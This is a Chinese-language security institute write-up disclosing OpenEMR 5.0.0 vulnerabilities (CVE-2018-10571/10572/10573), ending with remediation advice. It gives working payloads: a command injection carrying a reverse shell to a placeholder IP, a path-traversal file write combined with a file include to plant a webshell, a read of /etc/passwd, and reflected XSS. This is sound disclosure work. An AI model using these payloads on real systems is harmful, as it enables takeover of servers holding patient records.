OpenEMR 弱點分析

作者:資策會資安科技研究所
日期:2018/5/24

OpenEMR是一套由PHP開發的免費開源醫療管理系統,提供包括電子病歷、病患調度、電子處方、電子帳單等功能,並且支援超過30種國家語言,同時可以安裝在多數常見的作業系統上,如Windows、Linux、Mac OS X等。目前OpenEMR獲得40家企業的支援,每月被下載超過4,000次,在100多個國家被使用,服務超過2億病患,被公認為全球最受歡迎開源電子健康記錄和醫療實踐管理解決方案。[1]

資策會資安科技研究所(以下簡稱本所)於OpenEMR 5.0.0版本中發現三個弱點,已通報OpenEMR團隊並取得弱點資料庫編號CVE-2018-10571、CVE-2018-10572及CVE-2018-10573[7][8][9]。

本文將介紹如何在Docker上安裝OpenEMR,並說明與分析這3個CVE的弱點產生原因與利用方法,並提供相關修補建議措施。

一、Docker安裝上OpenEMR

安裝好Docker[2]和docker-compose[3]後,使用OpenEMR官方docker-compose.yml[3]來安裝。

docker-compose.yml設定檔參考如下[4]:

OpenEMR17

資料來源:資安所自行整理

安裝指令:

$ sudo docker-compose -f docker-compose.yml up

安裝成功後,可以使用預設帳密admin/pass來登入OpenEMR (修改docker-compose.yml檔案中的OE_USER、OE_PASS參數內容,即可修改預設帳密)。

OpenEMR1
資料來源:資安所自行整理

二、挖掘弱點過程

首先盡可能了解目標,例如:

  • 使用的技術細節-OpenEMR是使用PHP開發。
  • 下載各版本原始碼[5]-了解開發人員的Coding Style,方便後續搜尋。
  • 歷年的弱點[6]-研究過去的弱點,於其他程式碼中也可能會有相同問題。
  • 實際架設OpenEMR -方便進行灰箱測試。

如果能把整份程式都進行分析,應該可以最深入理解OpenEMR運作流程,也能找出最多弱點。但原始程式碼數量龐大,而且大部分都是無法攻擊,為了提升發現弱點的效率,善用正規表達式來搜尋也變得相對重要。以下將介紹從分析歷年CVE弱點資料庫並使用正規表達式找到OpenEMR弱點的過程。

OpenEMR歷年弱點如下圖所示,觀察OpenEMR過去發現的弱點,可以發現Code Execution、SQL Injection、Cross-Site Scripting(XSS)最常出現,且大多數都發生在interface、library這兩個目錄下的程式碼,因此先分析可能仍具有弱點的程式碼為本文的首要標的。

OpenEMR2
資料來源:資安所自行整理

從CVE-2018-1000019可以發現,fax_dispatch.php於使用exec功能函數時,未對參數進行過濾而發生Command Injection弱點。

OpenEMR3
資料來源:資安所自行整理

因此使用下面指令來找出OpenEMR 5.0.0版本中,有使用到exec功能函數的程式碼,或亦可搜尋其他PHP的危險函數,如system、eval等等。

$ grep -rn ./ -e ‘ exec(‘ | grep “\.php:" | egrep “\.//(interface|library)" | less

搜尋結果如下圖所示,根據這些檔案,找出危險函數中可控制的輸入。

OpenEMR4
資料來源:資安所自行整理

在分析Command Injection弱點的過程中,也發現其他輸出參數並未進行過濾,而造成了XSS弱點。例如 /interface/billing/sl_eob_search.php中的form_source參數:

<input type=’text’ name=’form_source’ size=’10’ value='<?php echo $_POST[‘form_source’]; ?>’

可以發現產生的原因很簡單,因此使用下面的語法來找出可能有XSS的程式碼。

$ egrep -rn ./  -e ‘php echo \$_(GET|POST|REQUEST)’ |less

三、弱點細節與利用

以下將介紹使用上面的方法,在OpenEMR 5.0.0中所找到的4種弱點細節和其利用的方法。

  1. Command Injection (CVE-2018-10573)

攻擊描述:攻擊者在已登入的情況下,能在遠端伺服器上執行任意系統指令,即取得遠端伺服器控制權,或在已登入的使用者點擊惡意的網址後,攻擊者也可取得遠端伺服器的控制權。
弱點位置:interface/fax/fax_dispatch.php
參數:scan (GET)
測試語法:
http://$DOMAIN/interface/fax/fax_dispatch.php?scan=&#8217;||<CMD>||’/";echo "

fax_dispatch.php部分程式碼如下圖所示,分析後可以發現:

A. $filepath : 某個路徑 + 可控的參數 $_GET[‘scan’]
B. $faxcache : 某個路徑 + $filebase

  • $filebase:$_GET[‘scan’]但只留最後一個 “/" 之後的字串(例如:$_GET[‘scan’] = “abc/def/ghi" =>  $filebase = “ghi")

OpenEMR5
資料來源:資安所自行整理

C. 程式碼416行:$faxcache會被串接進第1個exec。
D. 程式碼425行:$filepath和$faxcache會被串接進第2個exec。

OpenEMR6
資料來源:資安所自行整理

由於$filepath和$faxcache都是可以控制的參數,因此造成了Command Injection弱點。但$faxcache參數如果出現「/」字元時會被截斷,所以選擇使用比較好控制的$filepath(第2個exec)。但如果第1個exec執行失敗就不會執行到第2個exec,因此在控制scan參數時,要設法讓第1個exec執行成功,而且能讓第2個exec正常執行系統指令。

如果使用的輸入為:scan=‘||<CMD>||’/";echo "
(a) 則$filepath和$faxcache內容會分別變成:
$filepath = /PATH/‘||<CMD>||’/";echo “
$faxcache = /PATH/“;echo “

(b) 將$faxcache帶入第1個exec中:
exec(‘mkdir -p “‘ . $faxcache . ‘"‘, $tmp1, $tmp2);
=> mkdir -p “/PATH/“;echo “"
=>上述會拆成2個指令「mkdir -p “/PATH/";」與「echo “"」
=> 「mkdir -p “/PATH/";」可能會執行失敗,但「echo “"」成功執行
=> 程式會執行第2個exec

(c) 將$filepath和$faxcache帶入第2個exec中:
exec(“convert -density 203×196 ‘$filepath’ ‘$faxcache/deleteme.tif'", $tmp1, $tmp2);
=> convert -density 203×196 ‘/PATH/||<CMD>||’/";echo “‘ ‘/PATH/“;echo “/deleteme.tif’
=>上述會拆成3個指令「convert -density 203×196 ‘/PATH/’」、「<CMD>」及「’/";echo “‘ ‘/PATH/";echo “/deleteme.tif’」

因此CMD可以執行任意的系統指令,但輸出並不會顯示在網頁上,因此使用sleep指令進行測試:

http://$DOMAIN/interface/fax/fax_dispatch.php?scan=&#8217;|| sleep 5 ||’/";echo “

測試結果發現網頁執行5秒,可確定sleep指令成功執行,如下圖所示。

OpenEMR7
資料來源:資安所自行整理

我們嘗試利用Reverse Shell攻擊手法取得遠端伺服器權限,測試語法如下圖所示。

http://$DOMAIN/interface/fax/fax_dispatch.php?scan=&#8217;|| php -r ‘$sock=fsockopen(“IP",port);exec(“/bin/sh -i <%263 >%263 2>%263″);’ ||’/";echo “

OpenEMR8
資料來源:資安所自行整理

透過Reverse Shell攻擊手法成功取得遠端伺服器權限,如下圖所示。

OpenEMR9
資料來源:資安所自行整理

2. Arbitrary File Write and File Inclusion lead to Remote Code Execution
攻擊描述:
A. 攻擊者在已登入的情況下,可以任意上傳檔案。
B. 攻擊者在已登入的情況下,可以任意include檔案(但要以".plugin.php"為結尾)。
C. 利用上述的2個弱點可上傳後門並執行任意PHP程式。

依據上述攻擊描述,分別說明如下:
A. Arbitrary File Write弱點 (CVE-2018-10572)
弱點位置:interface/patient_file/letter.php
參數:newtemplatename (POST)、form_body (POST)

letter.php部分程式碼如下圖所示,分析後可以發現:
a. 程式碼226行,把newtemplatename中的值當成檔名開啟,且權限為寫入,但未進行過濾可以透過「../」語法跳到上層目錄。
b. 程式碼228行與233行,會把POST參數form_body中的內容寫入$fh檔案。
c. 因此能做到寫入指定的內容到指定的路徑,檔名也能自訂。

OpenEMR10
資料來源:資安所自行整理

B. File Inclusion弱點
弱點位置:interface/patient_file/transaction/add_transaction.php
參數:title (REQUEST)

add_transaction.php部分程式碼如下圖所示,分析後可以發現:
程式碼23行、27行與29行,使用者可控的title參數前面加上某個路徑,且後面加上 “.plugin.php",並include該檔案,且title參數未做任何限制。因此能做到include指定路徑的檔案,但這個檔案必須要以".plugin.php"為結尾。

OpenEMR11
資料來源:資安所自行整理

C. 綜合上述,透過Arbitrary File Write弱點上傳後門到/tmp資料夾下,且檔名為plugin.php,POST資料如下圖所示:

OpenEMR12
資料來源:資安所自行整理

再使用 File Inclusion弱點執行後門程式webshell.plugin.php,下圖範例為使用ls -al 指令列出遠端伺服器本機檔案清單。

OpenEMR13
資料來源:資安所自行整理

3. Arbitrary File Read弱點
攻擊描述:攻擊者在已登入的情況下,可以讀取伺服器上有權限讀取的檔案。
弱點位置:interface/patient_file/letter.php
參數:template (GET)

letter.php部分程式碼如下圖所示,分析後可以發現:
程式碼209行,在讀檔時並沒有對template參數輸入做任何限制,因此可以使用「"../"」語法讀取上一層目錄的檔案。

OpenEMR14
資料來源:資安所自行整理

成功透過template參數讀取遠端伺服器的/etc/passwd檔案,如下圖所示。

OpenEMR15
資料來源:資安所自行整理

  1. Multiple Reflected Cross Site Scripting弱點 (CVE-2018-10571)

攻擊描述:已登入的OpenEMR使用者在點擊攻擊者製作的網址後,攻擊者即可利用該使用者的身分對OpenEMR進行操作(新增或刪除資料等,甚至也能直接以該使用者身份登入)。

依據本文第二章節挖掘弱點方式,可找到多個XSS弱點,本文從中挑出其一個範例進行說明,詳細內容可參考CVE-2018-10571 [7]。

弱點位置:interface/main/finder/finder_navigation.php
參數:patient (GET)

分析finder_navigation.php後,發現具有弱點之原始程式碼如下所示:

<input type=“textbox" size="10″ name=“patient" value="<?php echo $_REQUEST[‘patient’]; ?>" >

該程式會直接將使用者的輸入,原封不動輸出在網頁上。如果輸入為:

patient = 123″>alert(“xss");

網頁的輸出會是:

<input type=“textbox" size=“10″ name=“patient" value="123″>alert(“xss");" >

因此概念性攻擊語法如下:

http://$DOMAIN/interface/main/finder/finder_navigation.php?patient=123″>alert(“xss");

patient參數可成功執行Javascript語法,如下圖所示。

OpenEMR16
資料來源:資安所自行整理

四、建議修補方式

分析本文所發現的弱點產生原因,由於程式開發人員未將使用者的輸入與輸出進行過濾,因此產生各項網頁應用程式弱點。

程式開發人員於編撰網頁應用程式時,應注意下列事項:

  1. 針對需求限制使用者輸入。
  2. 對使用者的輸入過濾後在使用。
  3. 使用白名單限制使用者輸入。
  4. XSS修補和過濾可以參考OWASP提供的防禦方式[10]。

本所已於2018/3/15通報相關弱點予OpenEMR團隊,2018/4/23 OpenEMR團隊已完成弱點修補作業並發布OpenEMR 5.0.1版本,建議使用者進行版本更新。

參考資料:

[1] https://www.ithome.com.tw/news/122776
[2] https://docs.docker.com/install/linux/docker-ce/ubuntu/
[3] https://github.com/docker/compose/releases
[4] https://github.com/openemr/openemr-devops/tree/master/docker/openemr/5.0.0
[5] https://github.com/openemr/openemr
[6] https://www.cvedetails.com/product/23156/Open-emr-Openemr.html
[7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10571
[8] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10572
[9] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10573
[10] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

發表迴響

在下方填入你的資料或按右方圖示以社群網站登入:

WordPress.com 標誌

您的留言將使用 WordPress.com 帳號。 登出 /  變更 )

Google photo

您的留言將使用 Google 帳號。 登出 /  變更 )

Twitter picture

您的留言將使用 Twitter 帳號。 登出 /  變更 )

Facebook照片

您的留言將使用 Facebook 帳號。 登出 /  變更 )

連結到 %s